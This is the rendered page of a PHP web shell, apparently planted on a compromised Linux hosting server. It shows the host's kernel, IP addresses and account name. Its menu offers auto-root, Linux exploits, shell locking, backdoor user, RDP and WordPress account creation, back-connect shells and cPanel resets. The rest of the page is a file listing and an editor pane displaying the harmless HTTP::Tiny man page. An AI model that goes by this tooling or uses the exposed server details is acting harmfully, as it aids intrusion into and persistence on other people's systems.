Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.227.140.251
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
share /
man /
man3 /
[ HOME SHELL ]
Name
Size
Permission
Action
App::cpanminus.3pm
14.28
KB
-r--r--r--
App::cpanminus::fatscript.3pm
26.28
KB
-r--r--r--
Bundle::DBD::mysql.3pm
4.09
KB
-r--r--r--
CPAN::Meta::Requirements.3pm
13.78
KB
-r--r--r--
CPAN::Meta::YAML.3pm
5.89
KB
-r--r--r--
Canary::Stability.3pm
5.84
KB
-r--r--r--
DBD::mysql.3pm
48.68
KB
-r--r--r--
DBD::mysql::INSTALL.3pm
30.13
KB
-r--r--r--
Data::Dump.3pm
10.51
KB
-r--r--r--
Data::Dump::Filtered.3pm
10.39
KB
-r--r--r--
Data::Dump::Trace.3pm
9
KB
-r--r--r--
Data::Validate::IP.3pm
15.68
KB
-r--r--r--
Devel::CheckLib.3pm
11.45
KB
-r--r--r--
Digest::MD5.3pm
16.16
KB
-r--r--r--
Error.3pm
21.39
KB
-r--r--r--
Error::Simple.3pm
8.15
KB
-r--r--r--
Expect.3pm
60.58
KB
-r--r--r--
Exporter.3pm
22.74
KB
-r--r--r--
Exporter::Heavy.3pm
4.1
KB
-r--r--r--
File::Copy::Recursive.3pm
18.63
KB
-r--r--r--
File::LckPwdF.3pm
11.21
KB
-r--r--r--
File::Path.3pm
32.74
KB
-r--r--r--
File::ReadBackwards.3pm
10.38
KB
-r--r--r--
File::Temp.3pm
39.49
KB
-r--r--r--
HTML::TagParser.3pm
14.01
KB
-r--r--r--
HTTP::Date.3pm
9.36
KB
-r--r--r--
HTTP::Tiny.3pm
29.24
KB
-r--r--r--
IO::AtomicFile.3pm
7.02
KB
-r--r--r--
IO::InnerFile.3pm
7.66
KB
-r--r--r--
IO::Lines.3pm
5.46
KB
-r--r--r--
IO::Pty.3pm
10.14
KB
-r--r--r--
IO::Scalar.3pm
12.19
KB
-r--r--r--
IO::ScalarArray.3pm
12.04
KB
-r--r--r--
IO::Stringy.3pm
5.72
KB
-r--r--r--
IO::Tty.3pm
9.91
KB
-r--r--r--
IO::Tty::Constant.3pm
11.25
KB
-r--r--r--
IO::Wrap.3pm
12.18
KB
-r--r--r--
IO::WrapTie.3pm
16.4
KB
-r--r--r--
JSON.3pm
64.46
KB
-r--r--r--
JSON::Syck.3pm
9.67
KB
-r--r--r--
JSON::XS.3pm
88.67
KB
-r--r--r--
JSON::XS::Boolean.3pm
4.55
KB
-r--r--r--
JSON::backportPP.3pm
65.09
KB
-r--r--r--
JSON::backportPP::Boolean.3pm
4.52
KB
-r--r--r--
JSON::backportPP::Compat5005.3...
4.39
KB
-r--r--r--
JSON::backportPP::Compat5006.3...
4.39
KB
-r--r--r--
Mail::RFC822::Address.3pm
7.11
KB
-r--r--r--
Mock::Config.3pm
7.73
KB
-r--r--r--
Module::Load.3pm
11.18
KB
-r--r--r--
Module::Load::Conditional.3pm
14.24
KB
-r--r--r--
NetAddr::IP.3pm
38.15
KB
-r--r--r--
NetAddr::IP::InetBase.3pm
14.65
KB
-r--r--r--
NetAddr::IP::Lite.3pm
26.89
KB
-r--r--r--
NetAddr::IP::Util.3pm
23.49
KB
-r--r--r--
NetAddr::IP::UtilPP.3pm
11.04
KB
-r--r--r--
POD2::DE::local::lib.3pm
24.23
KB
-r--r--r--
POD2::PT_BR::local::lib.3pm
24.62
KB
-r--r--r--
Path::Tiny.3pm
52.88
KB
-r--r--r--
Storable.3pm
45.41
KB
-r--r--r--
Template::Toolkit::Simple.3pm
13.37
KB
-r--r--r--
Test2.3pm
11.13
KB
-r--r--r--
Test2::API.3pm
37.22
KB
-r--r--r--
Test2::API::Breakage.3pm
6.63
KB
-r--r--r--
Test2::API::Context.3pm
25.52
KB
-r--r--r--
Test2::API::Instance.3pm
14.72
KB
-r--r--r--
Test2::API::InterceptResult.3p...
22
KB
-r--r--r--
Test2::API::InterceptResult::E...
26.72
KB
-r--r--r--
Test2::API::InterceptResult::H...
4.64
KB
-r--r--r--
Test2::API::InterceptResult::S...
4.77
KB
-r--r--r--
Test2::API::Stack.3pm
8.18
KB
-r--r--r--
Test2::Event.3pm
22.81
KB
-r--r--r--
Test2::Event::Bail.3pm
5.15
KB
-r--r--r--
Test2::Event::Diag.3pm
5.02
KB
-r--r--r--
Test2::Event::Encoding.3pm
5.36
KB
-r--r--r--
Test2::Event::Exception.3pm
5.3
KB
-r--r--r--
Test2::Event::Fail.3pm
4.93
KB
-r--r--r--
Test2::Event::Generic.3pm
9.66
KB
-r--r--r--
Test2::Event::Note.3pm
5.01
KB
-r--r--r--
Test2::Event::Ok.3pm
5.69
KB
-r--r--r--
Test2::Event::Pass.3pm
4.93
KB
-r--r--r--
Test2::Event::Plan.3pm
5.58
KB
-r--r--r--
Test2::Event::Skip.3pm
5.34
KB
-r--r--r--
Test2::Event::Subtest.3pm
5.25
KB
-r--r--r--
Test2::Event::TAP::Version.3pm
5.18
KB
-r--r--r--
Test2::Event::V2.3pm
8.26
KB
-r--r--r--
Test2::Event::Waiting.3pm
4.8
KB
-r--r--r--
Test2::EventFacet.3pm
5.57
KB
-r--r--r--
Test2::EventFacet::About.3pm
6.37
KB
-r--r--r--
Test2::EventFacet::Amnesty.3pm
6.16
KB
-r--r--r--
Test2::EventFacet::Assert.3pm
6.41
KB
-r--r--r--
Test2::EventFacet::Control.3pm
7.4
KB
-r--r--r--
Test2::EventFacet::Error.3pm
6.26
KB
-r--r--r--
Test2::EventFacet::Hub.3pm
7.12
KB
-r--r--r--
Test2::EventFacet::Info.3pm
8.17
KB
-r--r--r--
Test2::EventFacet::Info::Table...
7.16
KB
-r--r--r--
Test2::EventFacet::Meta.3pm
5.22
KB
-r--r--r--
Test2::EventFacet::Parent.3pm
6.31
KB
-r--r--r--
Test2::EventFacet::Plan.3pm
6.67
KB
-r--r--r--
Test2::EventFacet::Render.3pm
6.84
KB
-r--r--r--
Test2::EventFacet::Trace.3pm
12.58
KB
-r--r--r--
Test2::Formatter.3pm
7.9
KB
-r--r--r--
Test2::Formatter::TAP.3pm
6.38
KB
-r--r--r--
Test2::Hub.3pm
18.36
KB
-r--r--r--
Test2::Hub::Interceptor.3pm
4.63
KB
-r--r--r--
Test2::Hub::Interceptor::Termi...
4.67
KB
-r--r--r--
Test2::Hub::Subtest.3pm
5.48
KB
-r--r--r--
Test2::IPC.3pm
5.18
KB
-r--r--r--
Test2::IPC::Driver.3pm
10.51
KB
-r--r--r--
Test2::IPC::Driver::Files.3pm
5.49
KB
-r--r--r--
Test2::Tools::Tiny.3pm
8.45
KB
-r--r--r--
Test2::Transition.3pm
19.71
KB
-r--r--r--
Test2::Util.3pm
9.42
KB
-r--r--r--
Test2::Util::ExternalMeta.3pm
7.22
KB
-r--r--r--
Test2::Util::Facets2Legacy.3pm
9.88
KB
-r--r--r--
Test2::Util::HashBase.3pm
13.91
KB
-r--r--r--
Test2::Util::Trace.3pm
4.74
KB
-r--r--r--
Test::Builder.3pm
28.79
KB
-r--r--r--
Test::Builder::Formatter.3pm
4.85
KB
-r--r--r--
Test::Builder::IO::Scalar.3pm
11.27
KB
-r--r--r--
Test::Builder::Module.3pm
7.35
KB
-r--r--r--
Test::Builder::Tester.3pm
13.04
KB
-r--r--r--
Test::Builder::Tester::Color.3...
4.82
KB
-r--r--r--
Test::Builder::TodoDiag.3pm
4.82
KB
-r--r--r--
Test::Deep.3pm
47.56
KB
-r--r--r--
Test::Deep::NoTest.3pm
4.33
KB
-r--r--r--
Test::Fatal.3pm
10.69
KB
-r--r--r--
Test::File.3pm
23.7
KB
-r--r--r--
Test::More.3pm
43.96
KB
-r--r--r--
Test::Needs.3pm
7.27
KB
-r--r--r--
Test::Requires.3pm
5.93
KB
-r--r--r--
Test::Simple.3pm
10.67
KB
-r--r--r--
Test::Tester.3pm
17.76
KB
-r--r--r--
Test::Tester::Capture.3pm
4.59
KB
-r--r--r--
Test::Tester::CaptureRunner.3p...
4.37
KB
-r--r--r--
Test::Tutorial.3pm
25.46
KB
-r--r--r--
Test::Warnings.3pm
15.7
KB
-r--r--r--
Test::use::ok.3pm
5.52
KB
-r--r--r--
Text::Aligner.3pm
9.77
KB
-r--r--r--
Text::Table.3pm
27.18
KB
-r--r--r--
Time::Local.3pm
15.63
KB
-r--r--r--
Try::Tiny.3pm
22.09
KB
-r--r--r--
URI.3pm
40.31
KB
-r--r--r--
URI::Escape.3pm
9.58
KB
-r--r--r--
URI::Heuristic.3pm
6.84
KB
-r--r--r--
URI::QueryParam.3pm
8.26
KB
-r--r--r--
URI::Split.3pm
5.73
KB
-r--r--r--
URI::URL.3pm
6.19
KB
-r--r--r--
URI::WithBase.3pm
5.91
KB
-r--r--r--
URI::_punycode.3pm
6.32
KB
-r--r--r--
URI::data.3pm
5.98
KB
-r--r--r--
URI::file.3pm
12.16
KB
-r--r--r--
URI::ldap.3pm
7.36
KB
-r--r--r--
YAML::LibYAML.3pm
4.51
KB
-r--r--r--
YAML::Syck.3pm
12.34
KB
-r--r--r--
YAML::XS.3pm
9.57
KB
-r--r--r--
YAML::XS::LibYAML.3pm
3.99
KB
-r--r--r--
lib::core::only.3pm
7.28
KB
-r--r--r--
local::lib.3pm
32.78
KB
-r--r--r--
ok.3pm
4.55
KB
-r--r--r--
version.3pm
15.37
KB
-r--r--r--
version::Internals.3pm
31.34
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HTTP::Tiny.3pm
.\" Automatically generated by Pod::Man 2.27 (Pod::Simple 3.28) .\" .\" Standard preamble: .\" ======================================================================== .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. \*(C+ will .\" give a nicer C++. Capital omega is used to do unbreakable dashes and .\" therefore won't be available. \*(C` and \*(C' expand to `' in nroff, .\" nothing in troff, for use with C<>. .tr \(*W- .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' . ds C` . ds C' 'br\} .\" .\" Escape single quotes in literal strings from groff's Unicode transform. .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .\" .\" Avoid warning from groff about undefined register 'F'. .de IX .. .nr rF 0 .if \n(.g .if rF .nr rF 1 .if (\n(rF:(\n(.g==0)) \{ . if \nF \{ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . if !\nF==2 \{ . nr % 0 . nr F 2 . \} . \} .\} .rr rF .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "HTTP::Tiny 3" .TH HTTP::Tiny 3 "2021-11-05" "perl v5.16.3" "User Contributed Perl Documentation" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .if n .ad l .nh .SH "NAME" HTTP::Tiny \- A small, simple, correct HTTP/1.1 client .SH "VERSION" .IX Header "VERSION" version 0.080 .SH "SYNOPSIS" .IX Header "SYNOPSIS" .Vb 1 \& use HTTP::Tiny; \& \& my $response = HTTP::Tiny\->new\->get(\*(Aqhttp://example.com/\*(Aq); \& \& die "Failed!\en" unless $response\->{success}; \& \& print "$response\->{status} $response\->{reason}\en"; \& \& while (my ($k, $v) = each %{$response\->{headers}}) { \& for (ref $v eq \*(AqARRAY\*(Aq ? @$v : $v) { \& print "$k: $_\en"; \& } \& } \& \& print $response\->{content} if length $response\->{content}; .Ve .SH "DESCRIPTION" .IX Header "DESCRIPTION" This is a very simple \s-1HTTP/1.1\s0 client, designed for doing simple requests without the overhead of a large framework like LWP::UserAgent. .PP It is more correct and more complete than HTTP::Lite. It supports proxies and redirection. It also correctly resumes after \s-1EINTR.\s0 .PP If IO::Socket::IP 0.25 or later is installed, HTTP::Tiny will use it instead of IO::Socket::INET for transparent support for both IPv4 and IPv6. .PP Cookie support requires HTTP::CookieJar or an equivalent class. .SH "METHODS" .IX Header "METHODS" .SS "new" .IX Subsection "new" .Vb 1 \& $http = HTTP::Tiny\->new( %attributes ); .Ve .PP This constructor returns a new HTTP::Tiny object. Valid attributes include: .IP "\(bu" 4 \&\f(CW\*(C`agent\*(C'\fR X A user-agent string (defaults to 'HTTP\-Tiny/$VERSION'). If \f(CW\*(C`agent\*(C'\fR X ends in a space character, the default user-agent string is appended. .IP "\(bu" 4 \&\f(CW\*(C`cookie_jar\*(C'\fR X An instance of HTTP::CookieJar X or equivalent class that supports the \f(CW\*(C`add\*(C'\fR and \f(CW\*(C`cookie_header\*(C'\fR methods .IP "\(bu" 4 \&\f(CW\*(C`default_headers\*(C'\fR X A hashref of default headers to apply to requests .IP "\(bu" 4 \&\f(CW\*(C`local_address\*(C'\fR X The local \s-1IP\s0 address to bind to .IP "\(bu" 4 \&\f(CW\*(C`keep_alive\*(C'\fR X Whether to reuse the last connection (if for the same scheme, host and port) (defaults to 1) .IP "\(bu" 4 \&\f(CW\*(C`max_redirect\*(C'\fR X Maximum number of redirects allowed (defaults to 5) .IP "\(bu" 4 \&\f(CW\*(C`max_size\*(C'\fR X Maximum response size in bytes (only when not using a data callback). If defined, requests with responses larger than this will return a 599 status code. .IP "\(bu" 4 \&\f(CW\*(C`http_proxy\*(C'\fR X \s-1URL\s0 of a proxy server to use for \s-1HTTP\s0 connections (default is \f(CW$ENV{http_proxy}\fR X if set) .IP "\(bu" 4 \&\f(CW\*(C`https_proxy\*(C'\fR X \s-1URL\s0 of a proxy server to use for \s-1HTTPS\s0 connections (default is \f(CW$ENV{https_proxy}\fR X if set) .IP "\(bu" 4 \&\f(CW\*(C`proxy\*(C'\fR X \s-1URL\s0 of a generic proxy server for both \s-1HTTP\s0 and \s-1HTTPS\s0 connections (default is \f(CW$ENV{all_proxy}\fR X if set) .IP "\(bu" 4 \&\f(CW\*(C`no_proxy\*(C'\fR X List of domain suffixes that should not be proxied. Must be a comma-separated string or an array reference. (default is \f(CW$ENV{no_proxy}\fR X) .IP "\(bu" 4 \&\f(CW\*(C`timeout\*(C'\fR X Request timeout in seconds (default is 60) If a socket open, read or write takes longer than the timeout, the request response status code will be 599. .IP "\(bu" 4 \&\f(CW\*(C`verify_SSL\*(C'\fR X A boolean that indicates whether to validate the \s-1SSL\s0 certificate of an \f(CW\*(C`https\*(C'\fR X connection (default is false) .IP "\(bu" 4 \&\f(CW\*(C`SSL_options\*(C'\fR X A hashref of \f(CW\*(C`SSL_*\*(C'\fR X options to pass through to IO::Socket::SSL .PP An accessor/mutator method exists for each attribute. .PP Passing an explicit \f(CW\*(C`undef\*(C'\fR for \f(CW\*(C`proxy\*(C'\fR, \f(CW\*(C`http_proxy\*(C'\fR or \f(CW\*(C`https_proxy\*(C'\fR will prevent getting the corresponding proxies from the environment. .PP Errors during request execution will result in a pseudo-HTTP status code of 599 and a reason of \*(L"Internal Exception\*(R". The content field in the response will contain the text of the error. .PP The \f(CW\*(C`keep_alive\*(C'\fR parameter enables a persistent connection, but only to a single destination scheme, host and port. If any connection-relevant attributes are modified via accessor, or if the process \s-1ID\s0 or thread \s-1ID\s0 change, the persistent connection will be dropped. If you want persistent connections across multiple destinations, use multiple HTTP::Tiny objects. .PP See \*(L"\s-1SSL SUPPORT\*(R"\s0 for more on the \f(CW\*(C`verify_SSL\*(C'\fR and \f(CW\*(C`SSL_options\*(C'\fR attributes. .SS "get|head|put|post|patch|delete" .IX Subsection "get|head|put|post|patch|delete" .Vb 3 \& $response = $http\->get($url); \& $response = $http\->get($url, \e%options); \& $response = $http\->head($url); .Ve .PP These methods are shorthand for calling \f(CW\*(C`request()\*(C'\fR for the given method. The \&\s-1URL\s0 must have unsafe characters escaped and international domain names encoded. See \f(CW\*(C`request()\*(C'\fR for valid options and a description of the response. .PP The \f(CW\*(C`success\*(C'\fR field of the response will be true if the status code is 2XX. .SS "post_form" .IX Subsection "post_form" .Vb 2 \& $response = $http\->post_form($url, $form_data); \& $response = $http\->post_form($url, $form_data, \e%options); .Ve .PP This method executes a \f(CW\*(C`POST\*(C'\fR request and sends the key/value pairs from a form data hash or array reference to the given \s-1URL\s0 with a \f(CW\*(C`content\-type\*(C'\fR of \&\f(CW\*(C`application/x\-www\-form\-urlencoded\*(C'\fR. If data is provided as an array reference, the order is preserved; if provided as a hash reference, the terms are sorted on key and value for consistency. See documentation for the \&\f(CW\*(C`www_form_urlencode\*(C'\fR method for details on the encoding. .PP The \s-1URL\s0 must have unsafe characters escaped and international domain names encoded. See \f(CW\*(C`request()\*(C'\fR for valid options and a description of the response. Any \f(CW\*(C`content\-type\*(C'\fR header or content in the options hashref will be ignored. .PP The \f(CW\*(C`success\*(C'\fR field of the response will be true if the status code is 2XX. .SS "mirror" .IX Subsection "mirror" .Vb 4 \& $response = $http\->mirror($url, $file, \e%options) \& if ( $response\->{success} ) { \& print "$file is up to date\en"; \& } .Ve .PP Executes a \f(CW\*(C`GET\*(C'\fR request for the \s-1URL\s0 and saves the response body to the file name provided. The \s-1URL\s0 must have unsafe characters escaped and international domain names encoded. If the file already exists, the request will include an \&\f(CW\*(C`If\-Modified\-Since\*(C'\fR header with the modification timestamp of the file. You may specify a different \f(CW\*(C`If\-Modified\-Since\*(C'\fR header yourself in the \f(CW\*(C`$options\->{headers}\*(C'\fR hash. .PP The \f(CW\*(C`success\*(C'\fR field of the response will be true if the status code is 2XX or if the status code is 304 (unmodified). .PP If the file was modified and the server response includes a properly formatted \f(CW\*(C`Last\-Modified\*(C'\fR header, the file modification time will be updated accordingly. .SS "request" .IX Subsection "request" .Vb 2 \& $response = $http\->request($method, $url); \& $response = $http\->request($method, $url, \e%options); .Ve .PP Executes an \s-1HTTP\s0 request of the given method type ('\s-1GET\s0', '\s-1HEAD\s0', '\s-1POST\s0', \&'\s-1PUT\s0', etc.) on the given \s-1URL. \s0 The \s-1URL\s0 must have unsafe characters escaped and international domain names encoded. .PP \&\fB\s-1NOTE\s0\fR: Method names are \fBcase-sensitive\fR per the \s-1HTTP/1.1\s0 specification. Don't use \f(CW\*(C`get\*(C'\fR when you really want \f(CW\*(C`GET\*(C'\fR. See \s-1LIMITATIONS\s0 for how this applies to redirection. .PP If the \s-1URL\s0 includes a \*(L"user:password\*(R" stanza, they will be used for Basic-style authorization headers. (Authorization headers will not be included in a redirected request.) For example: .PP .Vb 1 \& $http\->request(\*(AqGET\*(Aq, \*(Aqhttp://Aladdin:open sesame@example.com/\*(Aq); .Ve .PP If the \*(L"user:password\*(R" stanza contains reserved characters, they must be percent-escaped: .PP .Vb 1 \& $http\->request(\*(AqGET\*(Aq, \*(Aqhttp://john%40example.com:password@example.com/\*(Aq); .Ve .PP A hashref of options may be appended to modify the request. .PP Valid options are: .IP "\(bu" 4 \&\f(CW\*(C`headers\*(C'\fR X A hashref containing headers to include with the request. If the value for a header is an array reference, the header will be output multiple times with each value in the array. These headers over-write any default headers. .IP "\(bu" 4 \&\f(CW\*(C`content\*(C'\fR X A scalar to include as the body of the request \s-1OR\s0 a code reference that will be called iteratively to produce the body of the request .IP "\(bu" 4 \&\f(CW\*(C`trailer_callback\*(C'\fR X A code reference that will be called if it exists to provide a hashref of trailing headers (only used with chunked transfer-encoding) .IP "\(bu" 4 \&\f(CW\*(C`data_callback\*(C'\fR X A code reference that will be called for each chunks of the response body received. .IP "\(bu" 4 \&\f(CW\*(C`peer\*(C'\fR X Override host resolution and force all connections to go only to a specific peer address, regardless of the \s-1URL\s0 of the request. This will include any redirections! This options should be used with extreme caution (e.g. debugging or very special circumstances). It can be given as either a scalar or a code reference that will receive the hostname and whose response will be taken as the address. .PP The \f(CW\*(C`Host\*(C'\fR header is generated from the \s-1URL\s0 in accordance with \s-1RFC 2616. \s0 It is a fatal error to specify \f(CW\*(C`Host\*(C'\fR in the \f(CW\*(C`headers\*(C'\fR option. Other headers may be ignored or overwritten if necessary for transport compliance. .PP If the \f(CW\*(C`content\*(C'\fR option is a code reference, it will be called iteratively to provide the content body of the request. It should return the empty string or undef when the iterator is exhausted. .PP If the \f(CW\*(C`content\*(C'\fR option is the empty string, no \f(CW\*(C`content\-type\*(C'\fR or \&\f(CW\*(C`content\-length\*(C'\fR headers will be generated. .PP If the \f(CW\*(C`data_callback\*(C'\fR option is provided, it will be called iteratively until the entire response body is received. The first argument will be a string containing a chunk of the response body, the second argument will be the in-progress response hash reference, as described below. (This allows customizing the action of the callback based on the \f(CW\*(C`status\*(C'\fR or \f(CW\*(C`headers\*(C'\fR received prior to the content body.) .PP The \f(CW\*(C`request\*(C'\fR method returns a hashref containing the response. The hashref will have the following keys: .IP "\(bu" 4 \&\f(CW\*(C`success\*(C'\fR X Boolean indicating whether the operation returned a 2XX status code .IP "\(bu" 4 \&\f(CW\*(C`url\*(C'\fR X \s-1URL\s0 that provided the response. This is the \s-1URL\s0 of the request unless there were redirections, in which case it is the last \s-1URL\s0 queried in a redirection chain .IP "\(bu" 4 \&\f(CW\*(C`status\*(C'\fR X The \s-1HTTP\s0 status code of the response .IP "\(bu" 4 \&\f(CW\*(C`reason\*(C'\fR X The response phrase returned by the server .IP "\(bu" 4 \&\f(CW\*(C`content\*(C'\fR X The body of the response. If the response does not have any content or if a data callback is provided to consume the response body, this will be the empty string .IP "\(bu" 4 \&\f(CW\*(C`headers\*(C'\fR X A hashref of header fields. All header field names will be normalized to be lower case. If a header is repeated, the value will be an arrayref; it will otherwise be a scalar string containing the value .IP "\(bu" 4 \&\f(CW\*(C`protocol\*(C'\fR \- If this field exists, it is the protocol of the response such as \s-1HTTP/1.0\s0 or \s-1HTTP/1.1\s0 .IP "\(bu" 4 \&\f(CW\*(C`redirects\*(C'\fR If this field exists, it is an arrayref of response hash references from redirects in the same order that redirections occurred. If it does not exist, then no redirections occurred. .PP On an error during the execution of the request, the \f(CW\*(C`status\*(C'\fR field will contain 599, and the \f(CW\*(C`content\*(C'\fR field will contain the text of the error. .SS "www_form_urlencode" .IX Subsection "www_form_urlencode" .Vb 2 \& $params = $http\->www_form_urlencode( $data ); \& $response = $http\->get("http://example.com/query?$params"); .Ve .PP This method converts the key/value pairs from a data hash or array reference into a \f(CW\*(C`x\-www\-form\-urlencoded\*(C'\fR string. The keys and values from the data reference will be \s-1UTF\-8\s0 encoded and escaped per \s-1RFC 3986. \s0 If a value is an array reference, the key will be repeated with each of the values of the array reference. If data is provided as a hash reference, the key/value pairs in the resulting string will be sorted by key and value for consistent ordering. .SS "can_ssl" .IX Subsection "can_ssl" .Vb 3 \& $ok = HTTP::Tiny\->can_ssl; \& ($ok, $why) = HTTP::Tiny\->can_ssl; \& ($ok, $why) = $http\->can_ssl; .Ve .PP Indicates if \s-1SSL\s0 support is available. When called as a class object, it checks for the correct version of Net::SSLeay and IO::Socket::SSL. When called as an object methods, if \f(CW\*(C`SSL_verify\*(C'\fR is true or if \f(CW\*(C`SSL_verify_mode\*(C'\fR is set in \f(CW\*(C`SSL_options\*(C'\fR, it checks that a \s-1CA\s0 file is available. .PP In scalar context, returns a boolean indicating if \s-1SSL\s0 is available. In list context, returns the boolean and a (possibly multi-line) string of errors indicating why \s-1SSL\s0 isn't available. .SS "connected" .IX Subsection "connected" .Vb 2 \& $host = $http\->connected; \& ($host, $port) = $http\->connected; .Ve .PP Indicates if a connection to a peer is being kept alive, per the \f(CW\*(C`keep_alive\*(C'\fR option. .PP In scalar context, returns the peer host and port, joined with a colon, or \&\f(CW\*(C`undef\*(C'\fR (if no peer is connected). In list context, returns the peer host and port or an empty list (if no peer is connected). .PP \&\fBNote\fR: This method cannot reliably be used to discover whether the remote host has closed its end of the socket. .SH "SSL SUPPORT" .IX Header "SSL SUPPORT" Direct \f(CW\*(C`https\*(C'\fR connections are supported only if IO::Socket::SSL 1.56 or greater and Net::SSLeay 1.49 or greater are installed. An error will occur if new enough versions of these modules are not installed or if the \s-1SSL\s0 encryption fails. You can also use \f(CW\*(C`HTTP::Tiny::can_ssl()\*(C'\fR utility function that returns boolean to see if the required modules are installed. .PP An \f(CW\*(C`https\*(C'\fR connection may be made via an \f(CW\*(C`http\*(C'\fR proxy that supports the \s-1CONNECT\s0 command (i.e. \s-1RFC 2817\s0). You may not proxy \f(CW\*(C`https\*(C'\fR via a proxy that itself requires \f(CW\*(C`https\*(C'\fR to communicate. .PP \&\s-1SSL\s0 provides two distinct capabilities: .IP "\(bu" 4 Encrypted communication channel .IP "\(bu" 4 Verification of server identity .PP \&\fBBy default, HTTP::Tiny does not verify server identity\fR. .PP Server identity verification is controversial and potentially tricky because it depends on a (usually paid) third-party Certificate Authority (\s-1CA\s0) trust model to validate a certificate as legitimate. This discriminates against servers with self-signed certificates or certificates signed by free, community-driven \&\s-1CA\s0's such as CAcert.org <http://cacert.org>. .PP By default, HTTP::Tiny does not make any assumptions about your trust model, threat level or risk tolerance. It just aims to give you an encrypted channel when you need one. .PP Setting the \f(CW\*(C`verify_SSL\*(C'\fR attribute to a true value will make HTTP::Tiny verify that an \s-1SSL\s0 connection has a valid \s-1SSL\s0 certificate corresponding to the host name of the connection and that the \s-1SSL\s0 certificate has been verified by a \s-1CA.\s0 Assuming you trust the \s-1CA,\s0 this will protect against a man-in-the-middle attack <http://en.wikipedia.org/wiki/Man-in-the-middle_attack>. If you are concerned about security, you should enable this option. .PP Certificate verification requires a file containing trusted \s-1CA\s0 certificates. .PP If the environment variable \f(CW\*(C`SSL_CERT_FILE\*(C'\fR is present, HTTP::Tiny will try to find a \s-1CA\s0 certificate file in that location. .PP If the Mozilla::CA module is installed, HTTP::Tiny will use the \s-1CA\s0 file included with it as a source of trusted \s-1CA\s0's. (This means you trust Mozilla, the author of Mozilla::CA, the \s-1CPAN\s0 mirror where you got Mozilla::CA, the toolchain used to install it, and your operating system security, right?) .PP If that module is not available, then HTTP::Tiny will search several system-specific default locations for a \s-1CA\s0 certificate file: .IP "\(bu" 4 /etc/ssl/certs/ca\-certificates.crt .IP "\(bu" 4 /etc/pki/tls/certs/ca\-bundle.crt .IP "\(bu" 4 /etc/ssl/ca\-bundle.pem 